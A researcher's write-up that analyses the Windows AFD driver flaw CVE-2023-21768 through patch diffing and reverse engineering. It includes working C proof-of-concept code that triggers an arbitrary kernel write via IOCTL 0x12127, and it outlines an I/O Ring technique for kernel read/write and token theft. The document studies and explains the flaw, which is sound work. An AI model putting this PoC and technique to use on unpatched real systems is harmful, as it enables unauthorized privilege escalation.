Exploring Exploitation Methodologies for CVE-2023-21768 AFD for WinSock Elevation of Privilege
1. Preface
This article analyzes the CVE-2023-21768 vulnerability, which resides in the AFD (Ancillary Function Driver) driver of the Windows operating system. Throughout this post, “the original article” refers to reference [1]. By studying that article, I reproduced and rewrote the exploit code while analyzing my own shortcomings relative to the steps taken by others when developing exploits.
This write-up covers three main sections: basic vulnerability analysis, vulnerability trigger attempts (PoC), and exploit implementation, along with a brief introduction to the I/O Ring concepts involved in the exploitation process.
2. Patch Analysis
By comparing the patched and unpatched files (patch diffing), the patch was identified in the AfdNotifyRemoveIoCompletion function. The fix adds a check to verify whether a specific struct field is writable before performing the assignment operation:

In other words, before the patch, this field could be controlled by an attacker, allowing an arbitrary write to other locations.
The author of the original article began with patch diffing, which is a standard procedure in Windows vulnerability analysis and would also be my first step if no other information were available. Diffing typically identifies the location of the patched function and provides initial clues about the vulnerability.
After comparing the
afd.sysfile before and after the patch, it turned out that only one function had minor modifications. This is quite fortunate, as one often encounters multiple modified functions with substantial changes, making it difficult to pinpoint the vulnerability without additional information.
3. Cross-Reference Examination
Based on the conclusion of the previous section, the attacker-controlled field a3 + 24 belongs to the third parameter of AfdNotifyRemoveIoCompletion, meaning that this third parameter points to an unknown structure.
Next, we check the cross-references of AfdNotifyRemoveIoCompletion to trace the origin of this parameter:
.rdata:00000001C004D658 dq offset AfdNotifySock
.rdata:00000001C004D660 AfdIrpCallDispatch dq offset AfdBind
→ AfdNotifySock(__int64 a1, __int64 a2, KPROCESSOR_MODE a3, ULONG64 a4, int a5, __int64 a6, int a7)
→ AfdNotifyRemoveIoCompletion(a3, v1, a4)
This indicates that the third parameter of AfdNotifyRemoveIoCompletion is the fourth parameter of AfdNotifySock, and AfdNotifySock is defined just above AfdIrpCallDispatch.

Looking at the image, it is intuitive to trace upwards. It appears AfdNotifySock should also reside in a function array, which leads us to another dispatch table: AfdImmediateCallDispatch.
By checking the cross-references of AfdImmediateCallDispatch, we confirm that this function can be invoked via DeviceIoControl, and its control code (IOCTL) is stored in AfdIoctlTable:

By calculating the offset of AfdNotifySock within AfdImmediateCallDispatch, we find it is the 73rd element. Locating the 73rd element in AfdIoctlTable yields the IOCTL code for AfdNotifySock, which is 0x12127.
At this point, I would attempt to trigger the vulnerable function by calling AfdNotifySock via DeviceIoControl.
Cross-reference checking is a logical next step to explore the function’s purpose. From the steps above, the vulnerability is relatively straightforward to analyze since the call chain is very short and we quickly identify the dispatch table.
The author of the original article leveraged materials from Steven Vittitoe’s Recon presentation to confirm that AFD has two dispatch tables, the second being
AfdImmediateCallDispatch. This indicates that during the analysis, the author also searched for and referenced a significant amount of AFD-related material.Once the dispatch table was found, I might not have been able to calculate the IOCTL code so quickly. Although I understand the underlying concepts, I am not yet proficient with this specific procedure. In a similar scenario, I would likely spend some time exploring, looking for
DeviceIoControlcode examples, and then figuring out how to determine the IOCTL code.In addition to the above, the original author noted that because the 73rd element is the last entry in the dispatch table,
AfdNotifySockwas likely added to the AFD driver’s dispatch functions recently. This is a detail I would not have considered.
4. Vulnerable Function Invocation Attempts
The following steps represent my independent analysis, reflecting my own flow of thought and logic. However, since I had already read the original article beforehand, I cannot be certain if the analysis would have proceeded this smoothly without it.
4.1 Parameter 1: hDevice
The prototype of DeviceIoControl:
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
According to the prototype definition, we need a device handle. Initially, I was a bit lost regarding the device name. However, I found the following code online:
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")
int main()
{
DWORD targetSize=0x310;
DWORD virtualAddress=0x13371337;
DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
static DWORD inbuf1[100];
memset(inbuf1,0,sizeof(inbuf1));
inbuf1[6]=virtualAddress;
inbuf1[7]=mdlSize;
inbuf1[10]=1;
static DWORD inbuf2[100];
memset(inbuf2,0,sizeof(inbuf2));
inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2,&WSAData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
memset(&sa,0,sizeof(sa));
sa.sin_port=htons(135);
sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
sa.sin_family=AF_INET;
ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
static char outBuf[100];
DWORD bytesRet;
DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
return 0;
}
It appears we can pass a socket as the handle. Although I wasn’t certain if it was correct, it was worth trying.
4.2 Parameter 2: lpInBuffer
In addition to the device handle, we need to determine the contents of lpInBuffer. I was unsure if Windows drivers’ dispatch routines have fixed structures or standard methods for defining input buffers, and search queries yielded no results. However, I found a function call to AfdFastIoDeviceControl, from which we can infer the prototype. This function is where the cross-references to AfdImmediateCallDispatch appear.
return AfdFastIoDeviceControl(
FileObject,
Wait,
&sendInfo,
sizeof(sendInfo),
NULL,
0,
IOCTL_AFD_SEND,
IoStatus,
DeviceObject
);
Based on this, I located the code at the cross-reference of AfdFastIoDeviceControl:
idx = (ioctlCode >> 2) & 0x3FF;
if ( idx < 74 && AfdIoctlTable[idx] == ioctlCode )
{
func = AfdImmediateCallDispatch[idx];
if ( func )
{
*v96 = func(
FileObject,
ioctlCode,
mode,
inputBuffer,
inputBufferLength,
outputBuffer_1,
outputBufferLength,
v96 + 8);
LOBYTE(v12) = 1;
}
}
goto LABEL_58;
Therefore, the fourth parameter of AfdNotifySock—which, as mentioned earlier, resides in the struct containing the attacker-controlled field—is the driver’s input buffer. Since this structure is currently unknown to us, we will adopt the name AFD_NOTIFYSOCK_STRUCT from the original article.
4.3 Other Parameters
By renaming the parameters of AfdNotifySock in IDA based on our findings, the requirements for the other parameters become apparent:
__int64 __fastcall AfdNotifySock(__int64 FileObject, __int64 ioctlCode, KPROCESSOR_MODE mode, ULONG64 inputBuffer, int inputBufferLength, __int64 outputBuffer, int outputBufferLength)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
AfdNotifyStruct = inputBuffer;
...
if ( inputBufferLength != 0x30 || outputBufferLength )
{
status = 0xC0000004; // STATUS_INFO_LENGTH_MISMATCH
goto rtn1;
}
if ( outputBuffer )
goto rtn2;
...
}
This shows that the unknown AFD_NOTIFYSOCK_STRUCT must be 48 bytes in size, the output buffer must be null, and the output buffer size must be 0.
The remaining parameters are optional and can be left blank.
At this point, we have established how to invoke AfdNotifySock:
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")
int main()
{
BYTE inbuf1[48];
memset(inbuf1, 0x41, sizeof(inbuf1));
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
static char outBuf[100];
DWORD bytesRet;
DeviceIoControl((HANDLE)s, 0X12127, (LPVOID)inbuf1, sizeof(inbuf1), NULL, 0, NULL, NULL);
return 0;
}
5. Vulnerability Path Exploration
By setting a breakpoint at afd!AfdNotifySock and executing the compiled binary, we successfully break at AfdNotifySock. Next, using a combination of static analysis and dynamic debugging, we determine how to construct the AFD_NOTIFYSOCK_STRUCT to reach the vulnerability trigger point: AfdNotifySock -> AfdNotifyRemoveIoCompletion -> **(a3+24)=v20.
5.1 Initial Attempts
Inside AfdNotifySock, we locate the following logic:
if ( !*((_DWORD *)AfdNotifyStruct + 8) ) // AfdNotifyStruct + 0x20
goto rtn2;
if ( *((_DWORD *)AfdNotifyStruct + 10) ) // AfdNotifyStruct + 0x28
{
// AfdNotifyStruct + 0x18 // AfdNotifyStruct + 0x10
if ( !*((_QWORD *)AfdNotifyStruct + 3) || !*((_QWORD *)AfdNotifyStruct + 2) )
goto rtn2;
}
// AfdNotifyStruct + 0x10 // AfdNotifyStruct + 0x24
else if ( *((_QWORD *)AfdNotifyStruct + 2) || *((_DWORD *)AfdNotifyStruct + 9) )
{
rtn2:
status = 0xC000000D; // STATUS_INVALID_PARAMETER
goto rtn1;
}
From this code snippet, we can initially infer the structure of AFD_NOTIFYSOCK_STRUCT as follows:
struct AFD_NOTIFYSOCK_STRUCT {
UNKNOWNTYPE UNKNOWN; // 0x00
ULONGLONG DATA1; // 0x10
ULONGLONG CONTROLDATA; // 0x18
DWORD DATA2; // 0x20
DWORD DATA3; // 0x24
ULONGLONG DATA4; // 0x28
};
The conditions to proceed are:
DATA2must not be 0;- If
DATA4is 0, bothDATA1andDATA3must be 0; - If
DATA4is not 0, bothDATA1andCONTROLDATAmust not be 0.
Since CONTROLDATA is the field the attacker wants to control, it cannot be 0. Thus, to hit the vulnerability path, the fields in AFD_NOTIFYSOCK_STRUCT must satisfy conditions (1) and (3).
Next, we encounter the following code blocks:
v11 = (struct _OBJECT_TYPE *)*IoCompletionObjectType;
firstItem = *(void **)AfdNotifyStruct; // AfdNotifyStruct + 0x00
Object = 0i64;
status = ObReferenceObjectByHandle(firstItem, 2u, v11, mode, &Object, 0i64); // 0x00 is HANDLE
object = Object;
if ( status >= 0 )
{
is32 = IoIs32bitProcess(0i64);
idx = 0;
MmUserProbeAddress_ = (unsigned __int64 *)MmUserProbeAddress;
while ( idx < *((_DWORD *)AfdNotifyStruct + 8) ) // 0x20 represents size
{
if ( mode )
{
item = 0i64;
nxtItem = 0i64;
idx_1 = idx;
List = *((_QWORD *)AfdNotifyStruct + 1); // AfdNotifyStruct + 0x08
if ( is32 )
{ ...
}
else
{
v19 = (_BYTE *)(List + 24i64 * idx); // This loop traverses 0x08, assuming it is a list
if ( (unsigned __int64)v19 >= *MmUserProbeAddress_ )
v19 = (_BYTE *)*MmUserProbeAddress_;
item = *(_OWORD *)v19;
nxtItem = *((_QWORD *)v19 + 2);
}
itemAddr_1 = &item;
itemAddr_2 = &item;
} else { ... }
...
++idx;
}
status = AfdNotifyRemoveIoCompletion(mode, (__int64)object, (_AFD_NOTIFYSOCK_STRUCT *)AfdNotifyStruct);
}
From this snippet, we refine the structure of AFD_NOTIFYSOCK_STRUCT as follows:
struct AFD_NOTIFYSOCK_STRUCT {
HANDLE Handle; // 0x00
PVOID List; // 0x08
ULONGLONG DATA1; // 0x10
ULONGLONG CONTROLDATA; // 0x18
DWORD Length; // 0x20
DWORD DATA3; // 0x24
ULONGLONG DATA4; // 0x28
};
Additionally, the Handle field passed to ObReferenceObjectByHandle must return a non-negative status to continue execution down this branch.
NTSTATUS ObReferenceObjectByHandle(
[in] HANDLE Handle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_TYPE ObjectType,
[in] KPROCESSOR_MODE AccessMode,
[out] PVOID *Object,
[out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);
According to official documentation, ObReferenceObjectByHandle verifies access permission for an object handle. If access is granted, it stores the pointer to the object in Object and returns STATUS_SUCCESS (0).
When thinking of handles, my immediate thought was a file handle, so I decided to create a file handle and pass it in to test whether it works.
At this stage, the execution path successfully reaches AfdNotifyRemoveIoCompletion. Removing dead branches and irrelevant logical flows yields the following clean representation of the function:
__int64 __fastcall AfdNotifyRemoveIoCompletion(char mode, __int64 object, _AFD_NOTIFYSOCK_STRUCT *AfdNotifyStruct)
{
v23 = 0i64;
memset(mem, 0, sizeof(mem));
v5 = 0i64;
num = 0;
data4 = LODWORD(AfdNotifyStruct->DATA4);
mulResult = 0x20 * data4;
if... // Check that multiplication does not overflow
if ( notOverflow >= 0 )
{
v10 = 8;
ProbeForWrite(AfdNotifyStruct->DATA1, mulResult, v10);
v19 = v5;
LABEL_20:
data3 = AfdNotifyStruct->DATA3;
v23 = -10000 * data3;
timeout = &v23;
if ( data4 > 0x10 )
{
mem_2 = ExAllocatePool2(66i64, 8i64 * data4, 1315202625i64);
mem_1 = mem_2;
if ( mem_2 )
goto LABEL_27;
LODWORD(data4) = 16;
}
mem_2 = mem;
mem_1 = mem;
LABEL_27:
notOverflow = IoRemoveIoCompletion(object_1, v5, mem_2, data4, &num, mode, timeout, 0);
if ( !notOverflow )
{
if ( is32 )
{
for ( i = 0; i < num; ++i )
{
v14 = &v5[32 * i];
v15 = (AfdNotifyStruct->DATA1 + 16i64 * i);
*v15 = *v14;
v15[1] = *(v14 + 2);
v15[3] = *(v14 + 6);
v15[2] = *(v14 + 4);
}
}
*AfdNotifyStruct->CONTROLDATA = num; // Vulnerability write trigger
...
}
}
...
}
The logic multiplies DATA4 by 32 and checks if the memory range starting at DATA1 is writable using ProbeForWrite. Thus, DATA1 represents a list, and DATA4 indicates the number of elements in the list.
Note the operation LODWORD(AfdNotifyStruct->DATA4). Since LODWORD is used and DATA4 represents the count of elements, our initial assumption regarding its length was incorrect. This field is actually a 4-byte (DWORD) field, not 8 bytes. Furthermore, by reviewing the decompiled output of nt!IoRemoveIoCompletion in IDA, we can confirm that DATA3 relates to a timeout value.
struct AFD_NOTIFYSOCK_STRUCT {
HANDLE Handle; // 0x00
PVOID List1; // 0x08
PVOID List2; // 0x10
ULONGLONG CONTROLDATA; // 0x18
DWORD Length1; // 0x20 Controls loop iterations in AfdNotifySock
DWORD Timeout; // 0x24
DWORD Length2; // 0x28 Controls ProbeForWrite check range
DWORD UNKNOWNDATA; // 0x2c
};
To simplify execution, we can set both Length1 and Length2 to 1.
Subsequently, IoRemoveIoCompletion is called, passing the object pointer retrieved from ObReferenceObjectByHandle. We must ensure that this call returns STATUS_SUCCESS (0).
This is where the obstacle lies. IoRemoveIoCompletion has no official documentation, and Windows Internals offers only brief explanations. I decided to write a quick test harness to explore this further:
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")
struct AFD_NOTIFYSOCK_STRUCT {
HANDLE Handle; // 0x00
PVOID List1; // 0x08
PVOID List2; // 0x10
ULONGLONG CONTROLDATA; // 0x18
DWORD Length1; // 0x20 Controls loop iterations in AfdNotifySock
DWORD DATA3; // 0x24
DWORD Length2; // 0x28 Controls ProbeForWrite check range
DWORD UNKNOWNDATA; // 0x2c
};
int main()
{
int status = 0;
struct AFD_NOTIFYSOCK_STRUCT inbuf1 = { 0 };
printf("Start create handle\n");
status = fopen_s((FILE**)(&inbuf1.Handle), "test.txt", "w");
if (status) {
printf("fopen_s error\n");
}
inbuf1.List1 = malloc(0x1000);
inbuf1.List2 = malloc(0x1000);
inbuf1.CONTROLDATA = 0x4242;
inbuf1.Length1 = 0x1;
inbuf1.DATA3 = 0x4141414141414141;
inbuf1.Length2 = 0x1;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
DeviceIoControl((HANDLE)s, 0X12127, (LPVOID)&inbuf1, sizeof(inbuf1), NULL, 0, NULL, NULL);
return 0;
}
The run failed with ObReferenceObjectByHandle returning 0xc0000008 (invalid handle). This confirmed that a standard file handle is insufficient. A detailed examination of ObReferenceObjectByHandle and IoRemoveIoCompletion is required.
5.2 ObReferenceObjectByHandle
While looking up information, I realized I did not examine the arguments of ObReferenceObjectByHandle in the decompiled code closely enough:
v11 = (struct _OBJECT_TYPE *)*IoCompletionObjectType;
firstItem = *(void **)AfdNotifyStruct; // AfdNotifyStruct + 0x00
status = ObReferenceObjectByHandle(firstItem, 2u, v11, mode, &Object, 0i64);
Notice the third argument: it explicitly specifies that ObReferenceObjectByHandle expects an object of type IoCompletionObjectType.
In Chapter 8 of Windows Internals, Sixth Edition, there is a section dedicated to I/O Completion Ports (IOCP).
I/O Completion Ports provide an efficient threading model that minimizes context switches while keeping threads active. Under this paradigm, a mechanism is needed to allow applications to wake up another thread when one thread processes an I/O operation.
This introduces the IoCompletion executive object, represented as a completion port in the Windows API. It keeps track of the completion status of asynchronous I/O operations across multiple file handles. Once a file handle is associated with a completion port, any asynchronous I/O completion on it queues a completion packet to the port.
Applications call the Windows API function CreateIoCompletionPort to create a completion port, which internally invokes the NtCreateIoCompletion system service.
Thus, we can create an I/O Completion object via CreateIoCompletionPort and place its handle in the first field of AFD_NOTIFYSOCK_STRUCT.
HANDLE CreateIoCompletionPort(
[in] HANDLE FileHandle,
[in, optional] HANDLE ExistingCompletionPort,
[in] ULONG_PTR CompletionKey,
[in] DWORD NumberOfConcurrentThreads
);
CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
The final parameter NumberOfConcurrentThreads limits the maximum number of threads associated with the port that can run concurrently. A value of 0 tells the system to use the number of processors.
Testing confirmed that using this handle makes ObReferenceObjectByHandle return STATUS_SUCCESS (0).
5.3 IoRemoveIoCompletion
As the name suggests, this function is also closely related to I/O completion. Understanding what this function does requires a grasp of how completion ports work.

According to Windows Internals, a completion port contains a kernel synchronization object called a kernel queue. The queue object has a concurrency value set at initialization time, which corresponds to the NumberOfConcurrentThreads argument supplied during the call to CreateIoCompletionPort. This controls the number of concurrent threads that can run for the completion port.
When an application associates a file handle with a completion port using CreateIoCompletionPort, NtSetInformationFile is called to set the handle’s FileCompletionInformation, which includes the completion port handle and the CompletionKey (used to distinguish between different files). During this process, NtSetInformationFile allocates a completion context data structure and sets the file object’s CompletionContext field to point to it.
Upon completion of an asynchronous I/O operation on a file object, the I/O manager checks the file object’s CompletionContext field. If it is populated, the operation is managed via a completion port. The I/O manager then constructs a completion packet and inserts it into the kernel queue of the completion port.
Threads associated with this completion port call GetQueuedCompletionStatus to monitor the queue for completion packets. This function attempts to dequeue a completion packet from the kernel queue. If the queue is empty, the thread goes into a wait state for a specified duration (timeout). The action of dequeuing a completion packet from the kernel queue is handled internally by IoRemoveIoCompletion.
Therefore, for IoRemoveIoCompletion to execute successfully, we must ensure that the completion port’s queue contains completion packets prior to the call.
Windows Internals notes that PostQueuedCompletionStatus queues a completion packet to a completion port by calling KeInsertQueue internally.
BOOL PostQueuedCompletionStatus(
[in] HANDLE CompletionPort,
[in] DWORD dwNumberOfBytesTransferred,
[in] ULONG_PTR dwCompletionKey,
[in, optional] LPOVERLAPPED lpOverlapped
);
5.4 Another Attempt
The revised PoC code is as follows:
#define _CRT_SECURE_NO_DEPRECATE
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")
struct AFD_NOTIFYSOCK_STRUCT {
HANDLE Handle; // 0x00
PVOID List1; // 0x08
PVOID List2; // 0x10
ULONGLONG CONTROLDATA; // 0x18
DWORD Length1; // 0x20 Controls loop iterations in AfdNotifySock
DWORD DATA3; // 0x24
DWORD Length2; // 0x28 Controls ProbeForWrite check range
DWORD UNKNOWNDATA; // 0x2c
};
int main()
{
int status = 0;
struct AFD_NOTIFYSOCK_STRUCT inbuf1 = { 0 };
inbuf1.Handle = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
if (inbuf1.Handle) {
status = PostQueuedCompletionStatus(inbuf1.Handle, 0, 0, NULL);
if (status == 0) {
printf("Error when queued completion status\n");
exit(1);
}
}
else {
printf("Error when create I/O completion port\n");
exit(1);
}
inbuf1.List1 = malloc(0x1000);
inbuf1.List2 = malloc(0x1000);
inbuf1.CONTROLDATA = 0x4242;
inbuf1.Length1 = 0x1;
inbuf1.DATA3 = 0x4141414141414141;
inbuf1.Length2 = 0x1;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
DeviceIoControl((HANDLE)s, 0X12127, (LPVOID)&inbuf1, sizeof(inbuf1), NULL, 0, NULL, NULL);
return 0;
}
During debugging, we see the execution successfully reaches the vulnerable instruction:
3: kd> p
afd!AfdNotifyRemoveIoCompletion+0x260:
fffff801`663dc8fc 8901 mov dword ptr [rcx],eax
3: kd> rcx
cx=4242
3: kd> rax
ax=1
5.5 Exploring the Written Value
We can now consistently trigger the vulnerability. Based on the debugging output above, this vulnerability writes the value 1 to an arbitrary location. The next step is to determine if we can control/alter the value being written.
The value 1 is the num parameter returned from the invocation of IoRemoveIoCompletion(object_1, v5, mem_2, count, &num, mode, pTimeout, 0).
By inspecting the decompilation of IoRemoveIoCompletion, we find that this value is obtained from the return value of KeRemoveQueueEx:
__int64 __fastcall IoRemoveIoCompletion(struct _KQUEUE *a1, __int64 a2, PLIST_ENTRY *EntryArray, ULONG Count, ULONG *outNum, KPROCESSOR_MODE a6, LARGE_INTEGER *Timeout, BOOLEAN a8)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v10 = KeRemoveQueueEx(a1, a6, a8, Timeout, EntryArray, Count);
// note: v10 is not modified here
result = v12;
*outNum = v10;
return result;
}
Within the KeRemoveQueueEx function:
ULONG __stdcall KeRemoveQueueEx(PKQUEUE Queue, KPROCESSOR_MODE WaitMode, BOOLEAN Alertable, PLARGE_INTEGER Timeout, PLIST_ENTRY *EntryArray, ULONG Count)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
...
rtn = 1;
if ( Count > 1 && &v27[-17].Blink + 7 > 1 && v27 != 0x80 && v27 != 0xC0 && BugCheckParameter2->Header.SignalState )
{
...
if ( BugCheckParameter2->Header.SignalState )
rtn = (KiAttemptFastRemoveQueue)(BugCheckParameter2) + 1;
...
}
return rtn;
}
This implies that if the Count argument is <= 1, KeRemoveQueueEx will always return 1. The Count argument is passed from the Length2 field of our AFD_NOTIFYSOCK_STRUCT structure. In our initial PoC code, this field was set to 1, hence the written value was 1.
As explained in Windows Internals, the Count parameter regulates the retrieval of multiple completion packets at once, meaning KeRemoveQueueEx can remove multiple elements from the queue in a single call.
However, as shown in the code snippet, if Count > 1, the return value of KeRemoveQueueEx is not guaranteed to be 1. To verify this, I modified Length2 to 2 and invoked PostQueuedCompletionStatus twice to ensure there were two completion packets in the port’s queue.
Debugging confirmed that the written value indeed became 2.
Through iterative testing, I confirmed that the written value changes in accordance with this pattern. Based on our analysis of AFD_NOTIFYSOCK_STRUCT, Length2 * 32 represents the size of the buffer pointed to by List2. Theoretically, Length2 merely needs to be smaller than 0x8000000 to avoid overflow. However, in practice, setting it to such a large value failed. I did not test the exact threshold value, but it is likely bound by undocumented checks or system resource limits, which I did not investigate further.
6. Exploitation
The exploitation phase leverages the technique described in reference [2]. I relied entirely on the original article for this part; I still have much to learn regarding kernel exploitation.
6.1 I/O Ring Fundamentals
The exploit takes advantage of a relatively new Windows feature called I/O Ring, where certain capabilities are only available starting with Windows 11 22H2+.
In the I/O Ring model, the I/O manager creates a circular buffer in memory. This buffer allows multiple I/O operations to be queued simultaneously, enabling user-mode applications to execute batch I/O operations without incurring context switch overhead for each operation. The current implementation allows up to 0x10000 queued I/O operations.
The Windows I/O Ring mechanism mimics Linux’s io_uring, meaning their designs are very similar. Currently, I/O Ring does not support all types of I/O operations; Windows 11 22H2 supports read, write, flush, and cancel. Requested operations are written to a Submission Queue (SQ) and submitted together. The kernel processes these requests and writes the status codes to a Completion Queue (CQ). Both queues reside in a shared memory region accessible by both user-mode and kernel-mode, allowing data sharing without the overhead of multiple system calls.
In addition to standard I/O operations, applications can queue two operations specific to I/O Rings: pre-registered buffers and pre-registered files. These allow applications to pre-open all file handles or pre-allocate all input/output buffers, register them, and then reference them by index. When the kernel processes an entry that utilizes a pre-registered handle or buffer, it fetches the requested handle/buffer from the pre-registered array and passes it to the I/O manager.
Calling CreateIoRing returns a HIORING handle, which is actually a pointer to a _HIORING structure defined as follows:
typedef struct _HIORING
{
HANDLE handle;
NT_IORING_INFO Info;
ULONG IoRingKernelAcceptedVersion;
PVOID RegBufferArray;
ULONG BufferArraySize;
PVOID FileHandleArray;
ULONG FileHandlesCount;
ULONG SubQueueHead;
ULONG SubQueueTail;
} HIORING, *PHIORING;
In kernel-mode, the system instantiates an IORING_OBJECT structure:
typedef struct _IORING_OBJECT
{
USHORT Type;
USHORT Size;
NT_IORING_INFO UserInfo;
PVOID Section;
PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;
PMDL CompletionQueueMdl;
PNT_IORING_COMPLETION_QUEUE CompletionQueue;
ULONG64 ViewSize;
BYTE InSubmit;
ULONG64 CompletionLock;
ULONG64 SubmitCount;
ULONG64 CompletionCount;
ULONG64 CompletionWaitUntil;
KEVENT CompletionEvent;
BYTE SignalCompletionEvent;
PKEVENT CompletionUserEvent;
ULONG RegBuffersCount;
PIOP_MC_BUFFER_ENTRY RegBuffers;
ULONG RegFilesCount;
PVOID* RegFiles;
} IORING_OBJECT, *PIORING_OBJECT;
Except for the HIORING structure, the other structural definitions are present in the symbol files and can be inspected via WinDbg. Note the RegBuffers field in the _IORING_OBJECT structure. On my test machine running Windows 11 22H2 (Build 22621.963), this field is of type PIOP_MC_BUFFER_ENTRY. However, prior to Windows 11 build 22610, this field was of type PIORING_BUFFER_INFO. Consequently, exploitation steps vary slightly depending on the version. Refer to reference [2] for details.
6.2 Exploitation Principles
When processing I/O requests, the I/O manager will:
- Check the
Sqe->RegisterBuffers.BuffersandSqe->RegisterBuffers.Countfields of the Submission Queue Entry (SQE); - If the request originates from user-mode, verify whether the pre-registered buffers reside entirely in user-mode and satisfy size requirements;
- Allocate a new space in the kernel pool and point
IoRing->RegBuffersto this space; - Verify that each entry in the pre-allocated buffer resides in user-mode, then copy them to the newly allocated kernel pool memory.
The steps above are simplified and do not account for pre-existing pre-allocated buffers, but they suffice for explaining the core exploit primitive (refer to [2] for details).
Importantly, the system does not validate the address of the RegBuffers pointer itself. If we have a kernel write vulnerability (like our arbitrary write), we can overwrite the IoRing->RegBuffers field to point to a fake buffer structure that we control in user-mode. Consequently, subsequent I/O operations using this pre-registered buffer index will allow us to read or write arbitrary kernel memory. The layout is illustrated in the diagram below:

6.3 Exploitation Workflow
- Create two named pipe server instances using
CreateNamedPipeand connect to them with clients created viaCreateFile. These pipes represent the two files shown in the diagram above. - Initialize an I/O Ring using
CreateIoRingto obtain a_HIORING*handle (referred to asHIORING). - Construct a fake buffer structure in user-mode, which will subsequently overwrite
RegBuffersin kernel space andRegBufferArrayinHIORING. - Locate the corresponding
IORING_OBJECTkernel object forHIORING. This is achieved by invokingNtQuerySystemInformationto retrieve system handle tables. - Trigger the kernel write exploit to modify the
RegBuffersCountandRegBuffersfields withinIORING_OBJECT, while simultaneously patchingRegBufferArrayandBufferArraySizein the user-modeHIORINGstructure. - Modify the relevant fields of the
IORING_BUFFER_INFOstructure stored at index 0 (or any chosen index) of the fake buffer to point to the target kernel address and size we wish to read/write. This step also requires callingNtQuerySystemInformationto obtain the kernel token addresses for both the target process (e.g., System) and the current process. - Use
BuildIoRingReadFileorBuildIoRingWriteFileto perform arbitrary reads and writes in kernel memory space.
The exploit code is available on GitHub.
7. Conclusion
Overall, except for the advanced concepts involved in exploitation, the topics discussed in this article are within my technical grasp. At a minimum, I should have been capable of writing the PoC code. Nonetheless, I remain uncertain if I could have successfully navigated the entire analysis without the original article’s guidance.
Reflecting on this, the reason my analysis proceeded so smoothly was the psychological comfort of knowing that success was possible. Since a pioneer’s write-up existed, and it was relatively concise, I knew that dedicating sufficient time would lead to the destination. Thus, I could focus entirely on the analysis without distraction.
However, if I were presented with only afd.sys from scratch, I might have started doubting myself as early as Section 5.1. I would have likely searched aimlessly for various documentation, gotten sidetracked by secondary concepts, and ultimately failed to complete the vulnerability analysis.
Returning to the vulnerability itself, the analysis is indeed quite straightforward: the patch involves minimal code modifications, the call chain to the vulnerable function is short and direct, and there is already some analysis material on AFD available online. By contrast, the I/O Ring exploitation technique is fascinating. As a recently introduced Windows feature, the write primitive is only fully realized in Windows 11 22H2, and the fields of its internal data structures continue to evolve. It will be interesting to watch whether Microsoft refines the way pre-allocated buffers are managed in future updates.